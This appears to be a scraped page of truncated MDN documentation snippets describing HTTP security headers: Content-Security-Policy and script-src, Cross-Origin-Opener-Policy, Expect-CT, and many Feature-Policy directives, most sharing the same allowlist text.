...finitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same url scheme and port number. you must include the single quotes. some browsers specifically exclude blob and filesystem from source directives. sites needing to allow these content types can specify them using the data attribute. 'unsafe-eval' allows the use of eval() and similar methods for creating code from strings. you must include the single quotes. 'unsafe-hashes' allows to enable specific inline event handlers. if you only need to allow inline event handlers a...
... single quotes are required. 'nonce-<base64-value>' a whitelist for specific inline scripts using a cryptographic nonce (number used once). the server must generate a unique nonce value each time it transmits a policy. it is critical to provide an unguessable nonce, as bypassing a resource’s policy is otherwise trivial. see unsafe inline script for an example. specifying nonce makes a modern browser ignore 'unsafe-inline' which could still be set for older browsers without nonce support. '<hash-algorithm>-<base64-value>' a sha256, sha384 or sha512 hash of scripts or styles. the use of this source consists of two portions separated by a dash: the encryption algorithm used to create the hash and the base64-encoded hash of the script or style. when generating the hash, don't include the <sc...
CSP: script-src - HTTP
finitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same url scheme and port number. you must include the single quotes. some browsers specifically exclude blob and filesystem from source directives. sites needing to allow these content types can specify them using the data attribute. 'unsafe-eval' allows the use of eval() and similar methods for creating code from strings. you must include the single quotes. 'unsafe-hashes' allows enabling specific inline event handlers. if you only need to allow inline event handlers an...
...ingle quotes are required. 'nonce-<base64-value>' an allow-list for specific inline scripts using a cryptographic nonce (number used once). the server must generate a unique nonce value each time it transmits a policy. it is critical to provide an unguessable nonce, as bypassing a resource’s policy is otherwise trivial. see unsafe inline script for an example. specifying nonce makes a modern browser ignore 'unsafe-inline' which could still be set for older browsers without nonce support. '<hash-algorithm>-<base64-value>' a sha256, sha384 or sha512 hash of scripts or styles. the use of this source consists of two portions separated by a dash: the encryption algorithm used to create the hash and the base64-encoded hash of the script or style. when generating the hash, don't include the <sc...
...ss accompanied by a nonce or loaded from a trusted script. script-src 'strict-dynamic' 'nonce-somenonce' or script-src 'strict-dynamic' 'sha256-base64encodedhash' it is possible to deploy strict-dynamic in a backwards compatible way, without requiring user-agent sniffing. the policy: script-src 'unsafe-inline' https: 'nonce-abcdefg' 'strict-dynamic' will act like 'unsafe-inline' https: in browsers that support csp1, https: 'nonce-abcdefg' in browsers that support csp2, and 'nonce-abcdefg' 'strict-dynamic' in browsers that support csp3. specifications specification status comment content security policy level 3the definition of 'script-src' in that specification. working draft no changes. content security policy level 2the definition of 'scrip...
Content-Security-Policy - HTTP
ader forbidden header name no syntax content-security-policy: <policy-directive>; <policy-directive> where <policy-directive> consists of: <directive> <value> with no internal punctuation. directives fetch directives fetch directives control the locations from which certain resource types may be loaded. child-src defines the valid sources for web workers and nested browsing contexts loaded using elements such as <frame> and <iframe>. instead of child-src, if you want to regulate nested browsing contexts and workers, you should use the frame-src and worker-src directives, respectively. connect-src restricts the urls which can be loaded using script interfaces default-src serves as a fallback for the other fetch directives. font-src specifies valid so...
... img-src specifies valid sources of images and favicons. manifest-src specifies valid sources of application manifest files. media-src specifies valid sources for loading media using the <audio> , <video> and <track> elements. ...
...iolations. see also the content-security-policy-report-only header. report-uri instructs the user agent to report attempts to violate the content security policy. these violation reports consist of json documents sent via an http post request to the specified uri. though the report-to directive is intended to replace the deprecated report-uri directive, report-to is not supported in most browsers yet. so for compatibility with current browsers while also adding forward compatibility when browsers get report-to support, you can specify both report-uri and report-to: content-security-policy: ...; report-uri https://endpoint.example.com; report-to groupname in browsers that support report-to, the report-uri directive will be ignored. report-to fires a securitypolicyviolationeve...
Cross-Origin-Opener-Policy - HTTP
coop will process-isolate your document and potential attackers can't access to your global object if they were opening it in a popup, preventing a set of cross-origin attacks dubbed xs-leaks. if a cross-origin document with coop is opened in a new window, the opening document will not have a reference to it, and the window.opener property of the new window will be null. this allows you to have more control over references to a window than rel=noopener, which only affects outgoing navigations. ...
... allows you to have more control over references to a window than rel=noopener, which only affects outgoing navigations. header type response header forbidden header name no syntax cross-origin-opener-policy: unsafe-none | same-origin-allow-popups | same-origin directives unsafe-none this is the default value. allows the document to be added to its opener's browsing context group unless the opener itself has a coop of same-origin or same-origin-allow-popups. same-origin-allow-popups retains references to newly opened windows or tabs which either don't set coop or which opt out of isolation by setting a coop of unsafe-none. same-origin isolates the browsing context exclusively to same-origin documents. cross-origin documents are not loaded in the same ...
...ng context group unless the opener itself has a coop of same-origin or same-origin-allow-popups. same-origin-allow-popups retains references to newly opened windows or tabs which either don't set coop or which opt out of isolation by setting a coop of unsafe-none. same-origin isolates the browsing context exclusively to same-origin documents. cross-origin documents are not loaded in the same browsing context. examples certain features depend on cross-origin isolation certain features like sharedarraybuffer objects or performance.now() with unthrottled timers are only available if your document has a coop header with the value same-origin value set. cross-origin-opener-policy: same-origin cross-origin-embedder-policy: require-corp see also the cross-origin-embedder-policy header whic...
Expect-CT - HTTP
the expect-ct will likely become obsolete in june 2021. since may 2018 new certificates are expected to support scts by default. certificates before march 2018 were allowed to have a lifetime of 39 months, those will all be ex...
...certificate timestamps issued by individual logs a tls extension of type signed_certificate_timestamp sent during the handshake supporting ocsp stapling (that is, the status_request tls extension) and providing a signedcertificatetimestamplist when a site enables the expect-ct header, they are requesting that the browser check that any certificate for that site appears in public ct logs. browsers ignore the expect-ct header over http; the header only has effect on https connections. the expect-ct will likely become obsolete in june 2021. since may 2018 new certificates are expected to support scts by default. certificates before march 2018 were allowed to have a lifetime of 39 months, those will all be expired in june 2021. header type response header forbidde...
...e transparency policy should be enforced and that violations should be reported. example the following example specifies enforcement of certificate transparency for 24 hours and reports violations to foo.example. expect-ct: max-age=86400, enforce, report-uri="https://foo.example/report" notes root cas manually added to the trust store override and suppress expect-ct reports/enforcement. browsers will not remember an expect-ct policy, unless the site has 'proven' it can serve a certificate satisfying the certificate transparency requirements. browsers implement their own trust model regarding which ct logs are considered trusted for the certificate to have been logged to. builds of chrome are designed to stop enforcing the expect-ct policy 10 weeks after the installation's build date.
Feature-Policy: accelerometer - HTTP
meter directive controls whether the current document is allowed to gather information about the acceleration of the device through the accelerometer interface. syntax feature-policy: accelerometer <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin. 'self': the feature will be allowed in this document, and in all nested browsing contexts (iframes) in the same origin. 'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the url in the iframe's src attribute. 'none': the feature is disabled...
... <origin(s)>: the feature is allowed for specific origins (for example, https://example.com). origins should be separated by a space. ...
...ure is allowed for specific origins (for example, https://example.com). origins should be separated by a space. the values * (enable for all origins) or 'none' (disable for all origins) may only be used alone, while 'self' and 'src' may be used with one or more origins. features are each defined to have a default allowlist, which is one of: *: the feature is allowed by default in top-level browsing contexts and all nested browsing contexts (iframes). 'self': the feature is allowed by default in top-level browsing contexts and in nested browsing contexts (iframes) in the same origin. the feature is not allowed in cross-origin documents in nested browsing contexts. 'none': the feature is disabled in top-level and nested browsing contexts. default policy the default value is 'self'. ...
Feature-Policy: ambient-light-sensor - HTTP
urrent document is allowed to gather information about the amount of light in the environment around the device through the ambientlightsensor interface. syntax feature-policy: ambient-light-sensor <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin. 'self': the feature will be allowed in this document, and in all nested browsing contexts (iframes) in the same origin. 'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the url in the iframe's src attribute. 'none': the feature is disabled...
... <origin(s)>: the feature is allowed for specific origins (for example, https://example.com). origins should be separated by a space. ...
...ure is allowed for specific origins (for example, https://example.com). origins should be separated by a space. the values * (enable for all origins) or 'none' (disable for all origins) may only be used alone, while 'self' and 'src' may be used with one or more origins. features are each defined to have a default allowlist, which is one of: *: the feature is allowed by default in top-level browsing contexts and all nested browsing contexts (iframes). 'self': the feature is allowed by default in top-level browsing contexts and in nested browsing contexts (iframes) in the same origin. the feature is not allowed in cross-origin documents in nested browsing contexts. 'none': the feature is disabled in top-level and nested browsing contexts. default policy the default value is 'self'. ...
Feature-Policy: autoplay - HTTP
te on <audio> and <video> elements will be ignored. for more details on autoplay and autoplay blocking, see the article autoplay guide for media and web audio apis. syntax feature-policy: autoplay <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin. 'self': the feature will be allowed in this document, and in all nested browsing contexts (iframes) in the same origin. 'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the url in the iframe's src attribute. 'none': the feature is disabled...
... <origin(s)>: the feature is allowed for specific origins (for example, https://example.com). origins should be separated by a space. ...
...ure is allowed for specific origins (for example, https://example.com). origins should be separated by a space. the values * (enable for all origins) or 'none' (disable for all origins) may only be used alone, while 'self' and 'src' may be used with one or more origins. features are each defined to have a default allowlist, which is one of: *: the feature is allowed by default in top-level browsing contexts and all nested browsing contexts (iframes). 'self': the feature is allowed by default in top-level browsing contexts and in nested browsing contexts (iframes) in the same origin. the feature is not allowed in cross-origin documents in nested browsing contexts. 'none': the feature is disabled in top-level and nested browsing contexts. default policy the default value in google ch...
Feature-Policy: battery - HTTP
r the current document is allowed to gather information about the acceleration of the device through the batterymanager interface obtained via navigator.getbattery(). syntax feature-policy: battery <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin. 'self': the feature will be allowed in this document, and in all nested browsing contexts (iframes) in the same origin. 'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the url in the iframe's src attribute. 'none': the feature is disabled...
... <origin(s)>: the feature is allowed for specific origins (for example, https://example.com). origins should be separated by a space. ...
...ure is allowed for specific origins (for example, https://example.com). origins should be separated by a space. the values * (enable for all origins) or 'none' (disable for all origins) may only be used alone, while 'self' and 'src' may be used with one or more origins. features are each defined to have a default allowlist, which is one of: *: the feature is allowed by default in top-level browsing contexts and all nested browsing contexts (iframes). 'self': the feature is allowed by default in top-level browsing contexts and in nested browsing contexts (iframes) in the same origin. the feature is not allowed in cross-origin documents in nested browsing contexts. 'none': the feature is disabled in top-level and nested browsing contexts. default policy the default value is 'self'. ...
Feature-Policy: camera - HTTP
nt document is allowed to use video input devices. when this policy is enabled, the promise returned by mediadevices.getusermedia() will reject with a notallowederror. syntax feature-policy: camera <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin. 'self': the feature will be allowed in this document, and in all nested browsing contexts (iframes) in the same origin. 'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the url in the iframe's src attribute. 'none': the feature is disabled...
... <origin(s)>: the feature is allowed for specific origins (for example, https://example.com). origins should be separated by a space. ...
...ure is allowed for specific origins (for example, https://example.com). origins should be separated by a space. the values * (enable for all origins) or 'none' (disable for all origins) may only be used alone, while 'self' and 'src' may be used with one or more origins. features are each defined to have a default allowlist, which is one of: *: the feature is allowed by default in top-level browsing contexts and all nested browsing contexts (iframes). 'self': the feature is allowed by default in top-level browsing contexts and in nested browsing contexts (iframes) in the same origin. the feature is not allowed in cross-origin documents in nested browsing contexts. 'none': the feature is disabled in top-level and nested browsing contexts. default policy the default value is 'self'. ...
Feature-Policy: display-capture - HTTP
capture the screen's contents. if display-capture is disabled in a document, the document will not be able to initiate screen capture via getdisplaymedia(). syntax feature-policy: display-capture <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin. 'self': the feature will be allowed in this document, and in all nested browsing contexts (iframes) in the same origin. 'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the url in the iframe's src attribute. 'none': the feature is disabled...
... <origin(s)>: the feature is allowed for specific origins (for example, https://example.com). origins should be separated by a space. ...
...ure is allowed for specific origins (for example, https://example.com). origins should be separated by a space. the values * (enable for all origins) or 'none' (disable for all origins) may only be used alone, while 'self' and 'src' may be used with one or more origins. features are each defined to have a default allowlist, which is one of: *: the feature is allowed by default in top-level browsing contexts and all nested browsing contexts (iframes). 'self': the feature is allowed by default in top-level browsing contexts and in nested browsing contexts (iframes) in the same origin. the feature is not allowed in cross-origin documents in nested browsing contexts. 'none': the feature is disabled in top-level and nested browsing contexts. default policy the default alowlist is 'self'...
Feature-Policy: document-domain - HTTP
lowed to set document.domain. when this policy is enabled, attempting to set document.domain will fail and cause a securityerror domexception to be be thrown. syntax feature-policy: document-domain <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin. 'self': the feature will be allowed in this document, and in all nested browsing contexts (iframes) in the same origin. 'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the url in the iframe's src attribute. 'none': the feature is disabled...
... <origin(s)>: the feature is allowed for specific origins (for example, https://example.com). origins should be separated by a space. ...
...ure is allowed for specific origins (for example, https://example.com). origins should be separated by a space. the values * (enable for all origins) or 'none' (disable for all origins) may only be used alone, while 'self' and 'src' may be used with one or more origins. features are each defined to have a default allowlist, which is one of: *: the feature is allowed by default in top-level browsing contexts and all nested browsing contexts (iframes). 'self': the feature is allowed by default in top-level browsing contexts and in nested browsing contexts (iframes) in the same origin. the feature is not allowed in cross-origin documents in nested browsing contexts. 'none': the feature is disabled in top-level and nested browsing contexts. default policy the default value is *. speci...
Feature-Policy: encrypted-media - HTTP
ted media extensions api (eme). when this policy is enabled, the promise returned by navigator.requestmediakeysystemaccess() will reject with a domexception. syntax feature-policy: encrypted-media <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin. 'self': the feature will be allowed in this document, and in all nested browsing contexts (iframes) in the same origin. 'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the url in the iframe's src attribute. 'none': the feature is disabled...
... <origin(s)>: the feature is allowed for specific origins (for example, https://example.com). origins should be separated by a space. ...
...ure is allowed for specific origins (for example, https://example.com). origins should be separated by a space. the values * (enable for all origins) or 'none' (disable for all origins) may only be used alone, while 'self' and 'src' may be used with one or more origins. features are each defined to have a default allowlist, which is one of: *: the feature is allowed by default in top-level browsing contexts and all nested browsing contexts (iframes). 'self': the feature is allowed by default in top-level browsing contexts and in nested browsing contexts (iframes) in the same origin. the feature is not allowed in cross-origin documents in nested browsing contexts. 'none': the feature is disabled in top-level and nested browsing contexts. default policy the allow list is 'self'. spe...
Feature-Policy: gyroscope - HTTP
ader gyroscope directive controls whether the current document is allowed to gather information about the orientation of the device through the gyroscope interface. syntax feature-policy: gyroscope <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin. 'self': the feature will be allowed in this document, and in all nested browsing contexts (iframes) in the same origin. 'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the url in the iframe's src attribute. 'none': the feature is disabled...
... <origin(s)>: the feature is allowed for specific origins (for example, https://example.com). origins should be separated by a space. ...
...ure is allowed for specific origins (for example, https://example.com). origins should be separated by a space. the values * (enable for all origins) or 'none' (disable for all origins) may only be used alone, while 'self' and 'src' may be used with one or more origins. features are each defined to have a default allowlist, which is one of: *: the feature is allowed by default in top-level browsing contexts and all nested browsing contexts (iframes). 'self': the feature is allowed by default in top-level browsing contexts and in nested browsing contexts (iframes) in the same origin. the feature is not allowed in cross-origin documents in nested browsing contexts. 'none': the feature is disabled in top-level and nested browsing contexts. the default value is 'self'. specifications ...
Feature-Policy: layout-animations - HTTP
the http feature-policy header layout-animations directive controls whether the current document is allowed to show layout animations. syntax feature-policy: layout-animations <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin. 'self': the feature will be allowed in this document, and in all nested browsing contexts (iframes) in the same origin. 'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the url in the iframe's src attribute. 'none': the feature is disabled in top-level and n...
... <origin(s)>: the feature is allowed for specific origins (for example, https://example.com). origins should be separated by a space. ...
...ure is allowed for specific origins (for example, https://example.com). origins should be separated by a space. the values * (enable for all origins) or 'none' (disable for all origins) may only be used alone, while 'self' and 'src' may be used with one or more origins. features are each defined to have a default allowlist, which is one of: *: the feature is allowed by default in top-level browsing contexts and all nested browsing contexts (iframes). 'self': the feature is allowed by default in top-level browsing contexts and in nested browsing contexts (iframes) in the same origin. the feature is not allowed in cross-origin documents in nested browsing contexts. 'none': the feature is disabled in top-level and nested browsing contexts. the default value is 'self'. specifications ...
Feature-Policy: legacy-image-formats - HTTP
the http feature-policy header legacy-image-formats directive controls whether the current document is allowed to display images in legacy formats. syntax feature-policy: legacy-image-formats <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin. 'self': the feature will be allowed in this document, and in all nested browsing contexts (iframes) in the same origin. 'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the url in the iframe's src attribute. 'none': the feature is disabled in...
... <origin(s)>: the feature is allowed for specific origins (for example, https://example.com). origins should be separated by a space. ...
...ure is allowed for specific origins (for example, https://example.com). origins should be separated by a space. the values * (enable for all origins) or 'none' (disable for all origins) may only be used alone, while 'self' and 'src' may be used with one or more origins. features are each defined to have a default allowlist, which is one of: *: the feature is allowed by default in top-level browsing contexts and all nested browsing contexts (iframes). 'self': the feature is allowed by default in top-level browsing contexts and in nested browsing contexts (iframes) in the same origin. the feature is not allowed in cross-origin documents in nested browsing contexts. 'none': the feature is disabled in top-level and nested browsing contexts. the default value is 'self'. specifications ...
Feature-Policy: magnetometer - HTTP
etometer directive controls whether the current document is allowed to gather information about the orientation of the device through the magnetometer interface. syntax feature-policy: magnetometer <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin. 'self': the feature will be allowed in this document, and in all nested browsing contexts (iframes) in the same origin. 'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the url in the iframe's src attribute. 'none': the feature is disabled...
... <origin(s)>: the feature is allowed for specific origins (for example, https://example.com). origins should be separated by a space. ...
...ure is allowed for specific origins (for example, https://example.com). origins should be separated by a space. the values * (enable for all origins) or 'none' (disable for all origins) may only be used alone, while 'self' and 'src' may be used with one or more origins. features are each defined to have a default allowlist, which is one of: *: the feature is allowed by default in top-level browsing contexts and all nested browsing contexts (iframes). 'self': the feature is allowed by default in top-level browsing contexts and in nested browsing contexts (iframes) in the same origin. the feature is not allowed in cross-origin documents in nested browsing contexts. 'none': the feature is disabled in top-level and nested browsing contexts. the default value is 'self'. specifications ...
Feature-Policy: microphone - HTTP
ocument is allowed to use audio input devices. when this policy is enabled, the promise returned by mediadevices.getusermedia() will reject with a notallowederror. syntax feature-policy: microphone <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin. 'self': the feature will be allowed in this document, and in all nested browsing contexts (iframes) in the same origin. 'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the url in the iframe's src attribute. 'none': the feature is disabled...
... <origin(s)>: the feature is allowed for specific origins (for example, https://example.com). origins should be separated by a space. ...
...ure is allowed for specific origins (for example, https://example.com). origins should be separated by a space. the values * (enable for all origins) or 'none' (disable for all origins) may only be used alone, while 'self' and 'src' may be used with one or more origins. features are each defined to have a default allowlist, which is one of: *: the feature is allowed by default in top-level browsing contexts and all nested browsing contexts (iframes). 'self': the feature is allowed by default in top-level browsing contexts and in nested browsing contexts (iframes) in the same origin. the feature is not allowed in cross-origin documents in nested browsing contexts. 'none': the feature is disabled in top-level and nested browsing contexts. the default value is 'self'. specifications ...
Feature-Policy: midi - HTTP
current document is allowed to use the web midi api. when this policy is enabled, the promise returned by navigator.requestmidiaccess() will reject with a domexception. syntax feature-policy: midi <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin. 'self': the feature will be allowed in this document, and in all nested browsing contexts (iframes) in the same origin. 'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the url in the iframe's src attribute. 'none': the feature is disabled...
... <origin(s)>: the feature is allowed for specific origins (for example, https://example.com). origins should be separated by a space. ...
...ure is allowed for specific origins (for example, https://example.com). origins should be separated by a space. the values * (enable for all origins) or 'none' (disable for all origins) may only be used alone, while 'self' and 'src' may be used with one or more origins. features are each defined to have a default allowlist, which is one of: *: the feature is allowed by default in top-level browsing contexts and all nested browsing contexts (iframes). 'self': the feature is allowed by default in top-level browsing contexts and in nested browsing contexts (iframes) in the same origin. the feature is not allowed in cross-origin documents in nested browsing contexts. 'none': the feature is disabled in top-level and nested browsing contexts. default policy the allow list is 'self'. spe...
Feature-Policy: oversized-images - HTTP
the http feature-policy header oversized-images directive controls whether the current document is allowed to download and display large images. syntax feature-policy: oversized-images <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin. 'self': the feature will be allowed in this document, and in all nested browsing contexts (iframes) in the same origin. 'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the url in the iframe's src attribute. 'none': the feature is disabled in top-le...
... <origin(s)>: the feature is allowed for specific origins (for example, https://example.com). origins should be separated by a space. ...
...ure is allowed for specific origins (for example, https://example.com). origins should be separated by a space. the values * (enable for all origins) or 'none' (disable for all origins) may only be used alone, while 'self' and 'src' may be used with one or more origins. features are each defined to have a default allowlist, which is one of: *: the feature is allowed by default in top-level browsing contexts and all nested browsing contexts (iframes). 'self': the feature is allowed by default in top-level browsing contexts and in nested browsing contexts (iframes) in the same origin. the feature is not allowed in cross-origin documents in nested browsing contexts. 'none': the feature is disabled in top-level and nested browsing contexts. default value the default value is '*'. spec...
Feature-Policy: payment - HTTP
trols whether the current document is allowed to use the payment request api. when this policy is disabled, the paymentrequest() constructor will throw a syntaxerror. syntax feature-policy: payment <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin. 'self': the feature will be allowed in this document, and in all nested browsing contexts (iframes) in the same origin. 'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the url in the iframe's src attribute. 'none': the feature is disabled...
... <origin(s)>: the feature is allowed for specific origins (for example, https://example.com). origins should be separated by a space. ...
...ure is allowed for specific origins (for example, https://example.com). origins should be separated by a space. the values * (enable for all origins) or 'none' (disable for all origins) may only be used alone, while 'self' and 'src' may be used with one or more origins. features are each defined to have a default allowlist, which is one of: *: the feature is allowed by default in top-level browsing contexts and all nested browsing contexts (iframes). 'self': the feature is allowed by default in top-level browsing contexts and in nested browsing contexts (iframes) in the same origin. the feature is not allowed in cross-origin documents in nested browsing contexts. 'none': the feature is disabled in top-level and nested browsing contexts. default policy the payment feature's default ...
Feature-Policy: picture-in-picture - HTTP
eader picture-in-picture directive controls whether the current document is allowed to play a video in a picture-in-picture mode via the corresponding api. syntax feature-policy: picture-in-picture <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin. 'self': the feature will be allowed in this document, and in all nested browsing contexts (iframes) in the same origin. 'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the url in the iframe's src attribute. 'none': the feature is disabled...
... <origin(s)>: the feature is allowed for specific origins (for example, https://example.com). origins should be separated by a space. ...
...ure is allowed for specific origins (for example, https://example.com). origins should be separated by a space. the values * (enable for all origins) or 'none' (disable for all origins) may only be used alone, while 'self' and 'src' may be used with one or more origins. features are each defined to have a default allowlist, which is one of: *: the feature is allowed by default in top-level browsing contexts and all nested browsing contexts (iframes). 'self': the feature is allowed by default in top-level browsing contexts and in nested browsing contexts (iframes) in the same origin. the feature is not allowed in cross-origin documents in nested browsing contexts. 'none': the feature is disabled in top-level and nested browsing contexts. default policy as of june 2019, the spec draf...
Feature-Policy: publickey-credentials-get - HTTP
navigator.credentials.get({publickey: ..., ...}). when this policy is enabled, any attempt to query public key credentials will result in an error. syntax feature-policy: publickey-credentials-get <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin. 'self': the feature will be allowed in this document, and in all nested browsing contexts (iframes) in the same origin. 'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the url in the iframe's src attribute. 'none': the feature is disabled...
... <origin(s)>: the feature is allowed for specific origins (for example, https://example.com). origins should be separated by a space. ...
...ure is allowed for specific origins (for example, https://example.com). origins should be separated by a space. the values * (enable for all origins) or 'none' (disable for all origins) may only be used alone, while 'self' and 'src' may be used with one or more origins. features are each defined to have a default allowlist, which is one of: *: the feature is allowed by default in top-level browsing contexts and all nested browsing contexts (iframes). 'self': the feature is allowed by default in top-level browsing contexts and in nested browsing contexts (iframes) in the same origin. the feature is not allowed in cross-origin documents in nested browsing contexts. 'none': the feature is disabled in top-level and nested browsing contexts. default policy the default allowlist is 'self...
Feature-Policy: screen-wake-lock - HTTP
note: this api is still actively being developed and available only behind a flag on select browsers and platforms. the http feature-policy header screen-wake-lock directive controls whether the current document is allowed to use screen wake lock api to indicate that device should not dim or turn off the screen. note: in earlier specification drafts this directive was called wake-lock. syntax feature-policy: screen-wake-lock <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin. ...
...ctive was called wake-lock. syntax feature-policy: screen-wake-lock <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin. 'self': the feature will be allowed in this document, and in all nested browsing contexts (iframes) in the same origin. 'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the url in the iframe's src attribute. 'none': the feature is disabled in top-level and nested browsing contexts. <origin(s)>: the feature is allowed for specific origins (for example, https://examp...
...ure is allowed for specific origins (for example, https://example.com). origins should be separated by a space. the values * (enable for all origins) or 'none' (disable for all origins) may only be used alone, while 'self' and 'src' may be used with one or more origins. features are each defined to have a default allowlist, which is one of: *: the feature is allowed by default in top-level browsing contexts and all nested browsing contexts (iframes). 'self': the feature is allowed by default in top-level browsing contexts and in nested browsing contexts (iframes) in the same origin. the feature is not allowed in cross-origin documents in nested browsing contexts. 'none': the feature is disabled in top-level and nested browsing contexts. default policy default allow list for screen-...
Feature-Policy: sync-xhr - HTTP
the http feature-policy header sync-xhr directive controls whether the current document is allowed to make synchronous xmlhttprequest requests. syntax feature-policy: sync-xhr <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin. 'self': the feature will be allowed in this document, and in all nested browsing contexts (iframes) in the same origin. 'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the url in the iframe's src attribute. 'none': the feature is disabled in top-level and n...
... <origin(s)>: the feature is allowed for specific origins (for example, https://example.com). origins should be separated by a space. ...
...ure is allowed for specific origins (for example, https://example.com). origins should be separated by a space. the values * (enable for all origins) or 'none' (disable for all origins) may only be used alone, while 'self' and 'src' may be used with one or more origins. features are each defined to have a default allowlist, which is one of: *: the feature is allowed by default in top-level browsing contexts and all nested browsing contexts (iframes). 'self': the feature is allowed by default in top-level browsing contexts and in nested browsing contexts (iframes) in the same origin. the feature is not allowed in cross-origin documents in nested browsing contexts. 'none': the feature is disabled in top-level and nested browsing contexts. default policy by default the policy is set t...
Feature-Policy: unoptimized-images - HTTP
the http feature-policy header unoptimized-images directive controls whether the current document is allowed to download and display unoptimized images. syntax feature-policy: unoptimized-images <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin. 'self': the feature will be allowed in this document, and in all nested browsing contexts (iframes) in the same origin. 'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the url in the iframe's src attribute. 'none': the feature is disabled...
... <origin(s)>: the feature is allowed for specific origins (for example, https://example.com). origins should be separated by a space. ...
